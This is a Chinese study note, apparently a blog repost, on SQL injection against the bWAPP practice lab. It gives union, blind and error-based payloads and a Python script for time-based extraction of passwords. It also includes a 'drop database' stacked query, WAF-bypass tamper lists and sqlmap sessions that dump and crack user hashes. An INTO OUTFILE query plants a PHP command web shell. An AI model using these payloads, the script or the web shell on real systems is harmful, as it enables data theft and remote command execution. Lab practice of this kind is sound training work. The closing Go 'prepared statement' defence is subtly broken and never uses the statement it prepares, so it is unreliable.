启动靶场
crabin@crabin-virtual-machine:~$ docker run -dt -p 9999:80 8be28fba48ec
crabin@crabin-virtual-machine:~$ docker exec -it 7e94cd1b6b1d /bin/bash
基础sql注入
- 查询数据库名字,以及所有的表名称
11 union select 1,2,database(),GROUP_CONCAT(table_name) ,5,6,7 from information_schema.tables where table_schema=database() #
blog,heroes,movies,users,visitors
- 查询需要表的字段名
11 union select 1,2,database(),GROUP_CONCAT(COLUMN_name) ,5,6,7 from information_schema.COLUMNs where table_name=‘users’ #
id,login,password,email,secret,activation_code,activated,reset_code,admin
- 根据字段名以及表名查询内容
11 union select 1,2,GROUP_CONCAT(id),GROUP_CONCAT(password) ,5,6,7 from users #
A.I.M.,bee,crabin 5 6885858486f31043e5839c735d99457f045affd0,6885858486f31043e5839c735d99457f045affd0,7c4a8d09ca3762af61e59520943dc26494f8941b
- 解密得到用户密码
A.I.M. bug
bee bug
crabin 123456
盲注:
Boolean - base 布尔类型注入
Gift' or 1=1#
Union 联合查询注入
Gift union select 1,2,3,4
Time_Base 时间盲注
Gift' and sleep(10)
常用函数
sleep(n) 返回0 命令返回1
substr(a,b,c) 对a从b开始截取c长度
substr 函数的变种函数 : mid()
count()
ascill() – 返回字符的额ascill码
length()
http://192.168.216.129:9999/sqli_15.php
确定注入点
1'or sleep(2)#
延时20s : or 关键字 每查询一条就执行sleep(2); 可以大概知道有10条数据
Iron Man' and LENGTH(DATABASE()) = 5 and sleep(2)# -- true true 执行sleep(2) 得到数据库名字长度为5
Iron Man' and ASCII(SUBSTR(database(),1,1)) = 50 and sleep(2) --
看数据库名称的第一个字符的ASCII是否等于50
编写脚本:
"""
@Project : 脚本文件python
@File : Time_base.py
@Auther : Crabin
@Time : 2022/10/11 17:21
"""
import requests
import time
re = requests.session()
PARAMS = {
"login": "bee",
"password": "bug",
"security_level": 0,
"form": "submit"
}
# do_login = re.post("http://localhost:82/login.php",data = PARAMS)
# print(do_login.content)
# print(do_login.cookies)
HEADER = {
"Cookie": "security_level=0; PHPSESSID=irrvm0bqo1nd7d3tufvirale43"
}
BASE_URL = "http://localhost:82/sqli_15.php?"
# 获取数据库名的长度
def get_databese_name_length() -> int:
# Iron Man' and LENGTH(DATABASE()) = 1 and sleep(1)
count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and LENGTH(DATABASE()) = {} and sleep(2) -- &action=search".format(i)
time1 = time.time()
resp = requests.get(url ,headers= HEADER)
if time.time() - time1 > 1:
# print("数据库长度为:{}".format(i))
count = i
break
return count
# 得到数据库名字
def get_database_name(count) -> str:
base_name = ""
for i in range(count + 1):
for j in range(33, 127):
url = BASE_URL + "title=Iron Man' and ASCII(SUBSTR(database(),{},1)) = {} and sleep(2) -- &action=search".format(
i, j)
time1 = time.time()
resp = requests.get(url,headers= HEADER)
if time.time() - time1 > 1:
# print("数据库长度为:{}".format(i))
base_name += chr(j)
break
return base_name
#得到这个数据中的表的个数
def get_table_count() -> int:
#Iron Man' (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = 1 and sleep(1)
table_count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT count(table_name) from information_schema.TABLES WHERE table_schema = database()) = {} and sleep(2)-- &action=search".format(i)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
table_count = i
break
return table_count
# 得到每个表的长度
def get_table_length_of_each_table(count):
#(SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) = 1 and sleep(1)
res = []
for i in range(count+1):
for j in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(table_name) from information_schema.TABLES WHERE table_schema = database() LIMIT {},1) = {} and sleep(2)-- &action=search".format(i,j)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
print("++++++++++++长度:{}".format(j))
table_name = get_table_name_of_each_table(i,j)
res.append(j)
res.append(table_name)
break
return res
# 得到每个表的名称
def get_table_name_of_each_table(index,count):
# SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT 1,1) and sleep(1),1,1) = {}
name = ""
for i in range(count + 1):
for j in range(33,127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT table_name from information_schema.TABLES WHERE table_schema = database() LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(index,i, j)
time1 = time.time()
requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
# print(chr(j))
name += chr(j)
break
print(name)
return name
# 已知我们需要的信息在users表中
# 得到users中的字段个数
def get_column_count(table_name):
# (SELECT LENGTH(COLUMN_NAME) from information_schema.COMMITS WHERE table_name = {} LIMIT 1,1) = 1
column_count = 0
for i in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT count(COLUMN_NAME) from information_schema.COLUMNS WHERE table_name = '{}') = {} and sleep(2)-- &action=search".format(table_name,i)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
column_count = i
print("字段个数为:{}".format(i))
break
return column_count
# 得到每个字段的长度
def get_column_length_of_each_column(table_name ,count):
# (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1) = 1 ;
res = []
for i in range(count + 1):
for j in range(100):
url = BASE_URL + "title=Iron Man' and (SELECT LENGTH(column_name) from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1) = {} and sleep(2)-- &action=search".format(
table_name, i, j)
time1 = time.time()
resp = requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
print("++++++++++++长度:{}".format(j))
column_name = get_column_name_of_each_column(table_name,i,j)
res.append(j)
res.append(column_name)
print(res)
break
return res
# 获取每一个字段名称
def get_column_name_of_each_column(table_name,index,count):
# ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = {} LIMIT 1,1),1,1) = {});
name = ""
for i in range(count + 1):
for j in range(33, 127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT column_name from information_schema.COLUMNS WHERE table_name = '{}' LIMIT {},1),{},1)) = {} and sleep(2)-- &action=search".format(
table_name, index, i, j)
time1 = time.time()
requests.get(url, headers=HEADER)
if time.time() - time1 > 1:
# print(chr(j))
name += chr(j)
break
print(name)
return name
def get_username_password():
# ascii(SUBSTR((SELECT concat(login,password) from users LIMIT 1,1),1,1) = {});
res = []
info = ""
for i in range(100):
index = 1
for j in range(33,127):
url = BASE_URL + "title=Iron Man' and ascii(SUBSTR((SELECT concat(login,' @pwd: ',password) from users LIMIT 0,1),{},1)) = {} and sleep(2)-- &action=search"\
.format(i,j)
time1 = time.time()
requests.get(url,headers=HEADER)
if time.time() - time1 > 1:
info += chr(j)
break
print(info)
res.append(info)
return res
if __name__ == '__main__':
# base_len = get_databese_name_length()
# print("数据库长度为:{}".format(base_len))
# base_name = get_database_name(base_len)
# print("数据库名称:" + base_name)
# table_count = get_table_count()
# print("表的个数为:{}".format(table_count))
# get_table_length_of_each_table(table_count)
# get_column_count("users")
# list = get_column_length_of_each_column("users",9)
# 分析出来需要admin 和 password字段
get_username_password()
Error-Based报错型盲注
如果页面可以输出sql报错信息,则可以从报错信息中获取需要的信息
注入语句:
1' union select 1,2,3,4,5,count(*),concat((SELECT DATABASE()),FLOOR(RAND(0)*2))x FROM information_schema.TABLES GROUP BY x #
Stacked queries 堆叠注入
多条语句执行
a';drop database [databasename];
User_Agent注入
- 确定注入点
这里有insert语句
INSERT into xxx VALUES()
我们需要闭合这个语句 构造sql注入语句(猜测大概有两个value):
INSERT into xxx VALUES('aaa','bbb')
注入语句:
aaa','bbb')#
插入成功
后台的语句:
我们可以构造sql注入语句:得到数据库名称
…
常见SQL注入绕过
关键字拦截
union
这里吧union关键字给替换成了空
方法1:大小写转换
movie=21(这个需要报错) UnIon select 1,2,3,4,5,6,7 #
方法2:嵌套
movie=21 UNIunionON select 1,2,3,4,5,6,7 #
空格
把空格给去掉了:识别不出来报错
movie=21UnIonselect1,2,3,4,5,6,7#
在使用空格的地方都使用/**/
movie=21/**/UnIon/**/select/**/1,2,3,4,5,6,7/**/#
=
使用 like 代替
select * from user where name like 'crabin'
使用注释符
movie=21 /*!union*/ select 1,2,3,4,5,6,7 #
SQL备份命令
mysqldump -uroot -p [库名] [表名] > /tmp/a.sql(路径)
全备份
mysqldump -uroot -p -A -R -E --triggers --master-data=2 --single-transaction > full.sql
恢复
source /tmp/a.sql
把数据库全部保存
mysqldump -A -R -E --triggers --master-data=2 --single-transaction > /tmp/full.sql
SQL group by 报错盲注原理sql层
SELECT count(*),FLOOR(RAND(0)*2) as x FROM movies GROUP BY x;
上面的语句在执行的时候会报错原因:
SELECT FLOOR(RAND(0)*2) FROM movies ;
结果
为 01101100 ,使用了随机种子,所以每次执行的结果都是一样的
第一个语句 count() 和GROUP BY 语句连用会建立一个虚拟表:
count(*) key
# 在读取到0的时候:先查询是否存在 0 的key没有就执行插入 1 0
# 但是走到GROUP BY语句时 又触发一次所以key变成了 1
第一次走
*****
1 1
*****
此时已经读取了两个数01
再次往后走,是 1 ,查询存在key值 所以直接更新不触发GROUP BY
*****
2 1
*****
再一次走 ,是 0 ,不存在key ,执行插入,但是又触发GROUP BY ,读取后一位 1
*****
2 1
1 1
*****
这里是错误的,所以系统报错,这就是报错注入的sql原理
验证
SELECT count(*),concat(FLOOR(RAND(0)*2) ) as x FROM users GROUP BY x;
不报错 我们更改了查询的表
users表:只有两条数据
SELECT FLOOR(RAND(0)*2) FROM users ;
没有上述的错误现象
表里面的数据如果是 < 3 的时候则不会报错
所以我的表可以使用 information_schema.TABLES
表让他一定报错
SQL远程代码执行
使用命令
select * from heroes where id =1 union select 1,2,3,'hello' into outfile '/var/www/html/images/a.php';
images 这个文件是可以写的
chmod 757 /images
这个是mysql使用可以操作
root@faae62fb3a0a:/var/www/html# chown -R mysql.mysql images/
利用这个sql上传我们的脚本代码
11 union select 1,2,3,4,5,6,'<?php system($_GET["cmd"]); ?>' into outfile '/var/www/html/images/cmd.php'#&action=go
查看主靶机后台是否上传成功
在游览器访问
使用 php 代码的接收参数 cmd进行远程命令执行
SQLmap
文档:https://sqlmap.org/
常见命令
-u "url"
--data "user=name,passwd=123456" #post提交指明post的提交名字
--dbs
--tables
--columns
--dump
--level # 1-5 注入等级,越高注入越多,越深
--risk # 1-3 1默认,2增加事件的测试语句,3增加or这种语句
--batch #不要来询问我直接全部选择默认的
--dump-all #得到全部表(包含数据库默认表)的数据 和-D 一起使用 得到这个库下的所有信息 //脱库
--cookie="" #设置请求头的cookie
-b :--banner # 得到操作用户
-f
--is-dba #这个mysql的操作用户是否拥有主机的root权限
-l 111.log #使用这个log文件来进行攻击
python3 sqlmap.py -l 111.log
111.log :
======================================================
15:24:05 https://dss0.bdstatic.com:443 [220.169.152.33]
======================================================
GET /5aV1bjqh_Q23odCf/static/superman/js/min_super-59ec6c653e.js HTTP/1.1
Host: dss0.bdstatic.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Referer: https://www.baidu.com/index.php?tn=monline_3_dg
Connection: close
Sec-Fetch-Dest: script
Sec-Fetch-Mode: no-cors
Sec-Fetch-Site: cross-site
If-Modified-Since: Thu, 15 Sep 2022 11:42:26 GMT
If-None-Match: "63230fa2-f88f"
Cache-Control: max-age=0
======================================================
含义必要的信息
得到数据库名称
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" --dbs
___
__H__
___ ___[']_____ ___ ___ {1.6.10.2#dev}
|_ -| . [,] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:41:31 /2022-10-24/
[15:41:32] [INFO] resuming back-end DBMS 'mysql'
[15:41:32] [INFO] testing connection to the target URL
[15:41:37] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:41:37] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: PHP 5.5.9, Apache 2.4.7
back-end DBMS: MySQL >= 5.5
[15:41:37] [INFO] fetching database names
[15:41:39] [INFO] retrieved: 'information_schema'
[15:41:39] [INFO] retrieved: 'bWAPP'
[15:41:39] [INFO] retrieved: 'mysql'
[15:41:39] [INFO] retrieved: 'performance_schema'
available databases [4]:
[*] bWAPP
[*] information_schema
[*] mysql
[*] performance_schema
[15:41:39] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:41:39 /2022-10-24/
得到表
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP --tables
___
__H__
___ ___[']_____ ___ ___ {1.6.10.2#dev}
|_ -| . [)] | .'| . |
|___|_ [.]_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:42:31 /2022-10-24/
[15:42:32] [INFO] resuming back-end DBMS 'mysql'
[15:42:32] [INFO] testing connection to the target URL
[15:42:32] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:42:32] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:42:32] [INFO] fetching tables for database: 'bWAPP'
[15:42:32] [INFO] retrieved: 'blog'
[15:42:32] [INFO] retrieved: 'heroes'
[15:42:32] [INFO] retrieved: 'movies'
[15:42:32] [INFO] retrieved: 'users'
[15:42:33] [INFO] retrieved: 'visitors'
Database: bWAPP
[5 tables]
+----------+
| blog |
| heroes |
| movies |
| users |
| visitors |
+----------+
[15:42:33] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:42:33 /2022-10-24/
得到信息
┌──(root㉿kali)-[~]
└─# sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -D bWAPP -T users --dump
___
__H__
___ ___["]_____ ___ ___ {1.6.10.2#dev}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:44:03 /2022-10-24/
[15:44:03] [INFO] resuming back-end DBMS 'mysql'
[15:44:03] [INFO] testing connection to the target URL
[15:44:03] [WARNING] potential CAPTCHA protection mechanism detected
sqlmap resumed the following injection point(s) from stored session:
---
Parameter: movie (GET)
Type: boolean-based blind
Title: Boolean-based blind - Parameter replace (original value)
Payload: movie=(SELECT (CASE WHEN (7978=7978) THEN 11 ELSE (SELECT 6332 UNION SELECT 6561) END))&action=go
Type: error-based
Title: MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)
Payload: movie=11 AND (SELECT 2*(IF((SELECT * FROM (SELECT CONCAT(0x716a6b6271,(SELECT (ELT(1833=1833,1))),0x717a707871,0x78))s), 8446744073709551610, 8446744073709551610)))&action=go
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: movie=11 AND (SELECT 5127 FROM (SELECT(SLEEP(5)))QoUp)&action=go
Type: UNION query
Title: Generic UNION query (NULL) - 7 columns
Payload: movie=11 UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x716a6b6271,0x7a517343437371594470557065726c6d587067754c526e51796c6b6444666747516d786556764f4c,0x717a707871),NULL,NULL,NULL-- -&action=go
---
[15:44:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.7, PHP 5.5.9
back-end DBMS: MySQL >= 5.5
[15:44:03] [INFO] fetching columns for table 'users' in database 'bWAPP'
[15:44:04] [INFO] retrieved: 'id','int(10)'
[15:44:04] [INFO] retrieved: 'login','varchar(100)'
[15:44:04] [INFO] retrieved: 'password','varchar(100)'
[15:44:04] [INFO] retrieved: 'email','varchar(100)'
[15:44:04] [INFO] retrieved: 'secret','varchar(100)'
[15:44:04] [INFO] retrieved: 'activation_code','varchar(100)'
[15:44:04] [INFO] retrieved: 'activated','tinyint(1)'
[15:44:05] [INFO] retrieved: 'reset_code','varchar(100)'
[15:44:05] [INFO] retrieved: 'admin','tinyint(1)'
[15:44:05] [INFO] fetching entries for table 'users' in database 'bWAPP'
[15:44:05] [INFO] retrieved: '1',' ','1','bwapp-aim@mailinator.com','1','A.I.M.','6885858486f31043e5839c735d99457f045affd0',' ','A.I.M. or Authentication Is Missing'
[15:44:05] [INFO] retrieved: '1',' ','1','bwapp-bee@mailinator.com','2','bee','6885858486f31043e5839c735d99457f045affd0',' ','Any bugs?'
[15:44:05] [INFO] recognized possible password hashes in column 'password'
do you want to store hashes to a temporary file for eventual further processing with other tools [y/N]
do you want to crack them via a dictionary-based attack? [Y/n/q]
[15:44:22] [INFO] using hash method 'sha1_generic_passwd'
what dictionary do you want to use?
[1] default dictionary file '/usr/share/sqlmap/data/txt/wordlist.tx_' (press Enter)
[2] custom dictionary file
[3] file with list of dictionary files
> 4
[15:45:41] [INFO] using default dictionary
do you want to use common password suffixes? (slow!) [y/N] N
[15:45:51] [INFO] starting dictionary-based cracking (sha1_generic_passwd)
[15:45:51] [INFO] starting 4 processes
[15:45:56] [INFO] cracked password 'bug' for user 'A.I.M.'
Database: bWAPP
Table: users
[2 entries]
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| id | admin | email | login | secret | password | activated | reset_code | activation_code |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
| 1 | 1 | bwapp-aim@mailinator.com | A.I.M. | A.I.M. or Authentication Is Missing | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
| 2 | 1 | bwapp-bee@mailinator.com | bee | Any bugs? | 6885858486f31043e5839c735d99457f045affd0 (bug) | 1 | NULL | NULL |
+----+-------+--------------------------+--------+-------------------------------------+------------------------------------------------+-----------+------------+-----------------+
[15:45:59] [INFO] table 'bWAPP.users' dumped to CSV file '/root/.local/share/sqlmap/output/192.168.216.142/dump/bWAPP/users.csv'
[15:45:59] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.216.142'
[*] ending @ 15:45:59 /2022-10-24/
脱库
得到所有的表的信息
sqlmap -u "http://192.168.216.142:9999/sqli_2.php?movie=11&action=go" --cookie="PHPSESSID=sqaif1mnij5mf93cc9neh38mb6; security_level=0" -f -b --dump-all
–dbs 和 -f -b --dbs
-f -b --dbs: -f --banner --dbs
sqlmap WAF绕过
使用–tamper 来使用py绕过脚本
python3 sqlmap.py -u "" --tamper
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnul12ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2plus,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
python3 sqlmap.py -u‘xxx" - -
tamper=between,bluecoat,charencode,charunicodeencode,concat2concatws,equaltolike,greatest,halfversionedmorekeywords,ifnull2ifisnull,modsecurityversioned,modsecurityzeroversioned,multiplespaces,nonrecursivereplacement,percentage,randomcase,securesphere,space2comment,space2hash,space2morehash,space2mysqldash,space2p1us,space2randomblank,unionalltounion,unmagicquotes,versionedkeywords,versionedmorekeywords,xforwardedfor
sql注入防御
形成原因:
用户输入的数据作为代码执行了
- 用户能控制传参
- SQL语句中拼接了用户传参内容
- 拼接后的SQL语句必须能在数据库中执行(我们在服务端使这个不能在数据库中执行)
在服务端防御
设置黑名单
fun ProductsHandler(c *gin.Context) {
//两个值 字段
a := c.Query("category")
s := c.Query("released")
// a 转为小写
// 读取我们的黑名单文件,全部替换为“” 使用数据库报错
// 这种方法不能从根本上防住sql注入,怎么不可能防止所有的关键字
// -1: 全部替换 1: 只替换一次
a = strings.Replace(a,"union","",-1)
log.Println(a)
sqlStr := fmt.Sprintf(`select id,name,context,released from products where category = '%s' and released = %s`,a,s)
log.Println(sqlStr)
// 直接查询数据库
rows, err := model.DB.Query(sqlStr)
if err != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err.Error(),
"msg": "error",
})
return
}
...
没有问题返回数据
}
黑名单文件a.txt
union
select
limit
where
union all
information_schema
and
or
预处理
普通的SQL语句执行过程:
- 客户端对SQL语句进行占位符替换得到完整的SQL语句
- 客户端发送完整SQL语句到MySQL服务端
- MySQL服务端执行完整的SQL语句并将结果返回给客户端
一次编译, 单次运行,此类普通语句被称作 Immediate Statements(即使 SQL)
预处理执行过程:
- 把SQL语句分成两部分,命令部分与数据部分
- 先把命令部分发送给MySQL服务端,MySQL 服务端进行SQL预处理
- 然后把数据部分发送给MySQL服务端,MySQL 服务端对SQL语句进行占位符替换
- MySQL服务端执行完整的SQL语句并将结果返回给客户端
所谓预编译语句就是将此类SQL语句中的值用占位符替代, 可以视为将SQL 语句模板化或者说措参数化,一般称为这类语句叫 Prepared Statement
普通:
Prepared Statements执行流程
先进行sql模板的编译 在传入值(union select …)把这个值只当参数处理不会再编译
# 定义预处理语句
PREPARE stmt_name FROM preparable_stmt;
# 执行预处理语句
EXECUTE stmt_name [USING @var_name [, @var_name] ...];
# 删除(释放)定义
{DEALLOCATE | DROP} PREPARE stmt_name;
fun ProductsHandler(c *gin.Context) {
//两个值 字段
a := c.Query("category")
s := c.Query("released")
log.Println(a)
// 预编译的模板
sqlStr :="select id,name,context,released from products where category = ? and released = ? "
// 定义模板
stmt, err2 := model.DB.Prepare(sqlStr)
//错误就抛出返回
if err2 != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err2.Error(),
"msg": "error",
})
return
}
//直接查询 用户输入的只作为参数使用
rows, err := model.DB.Query(a, s)
if err != nil {
c.JSON(htpp.statusOK, gin.H{
"code": 404,
"err": err.Error(),
"msg": "error",
})
return
}
var r []model.Product
for rows.Next() {
var p model.Product
if rowErr := rows.Scan(&p.Id, &p.Name, &p.Content, &p.Rleased); rowErr != nil {
c.JSON(200, gin.H{
"code": 404,
"err": rowErr.Error(),
"msg": "error"
})
}
r = append(r, p)
}
c.JSON(200, gin.H{
"code": 0,
"data": r,
"msg": "success"
})
}
查看mysql日志文章来源:https://www.toymoban.com/news/detail-464292.html
tail -f /tmp/mysql.log
文章来源地址https://www.toymoban.com/news/detail-464292.html
Docker 使用
打包
docker build -t name . #go
docker save -o zipname.tar name
发送到服务器
scp zipname.tar ssh root@121.40.114.23:/root
load这个包
docker load --input zipname.tar
run
docker run --name name -d -p 3333:8080 imageID
``
到了这里,关于bwapp靶场笔记 -SQL注入篇的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!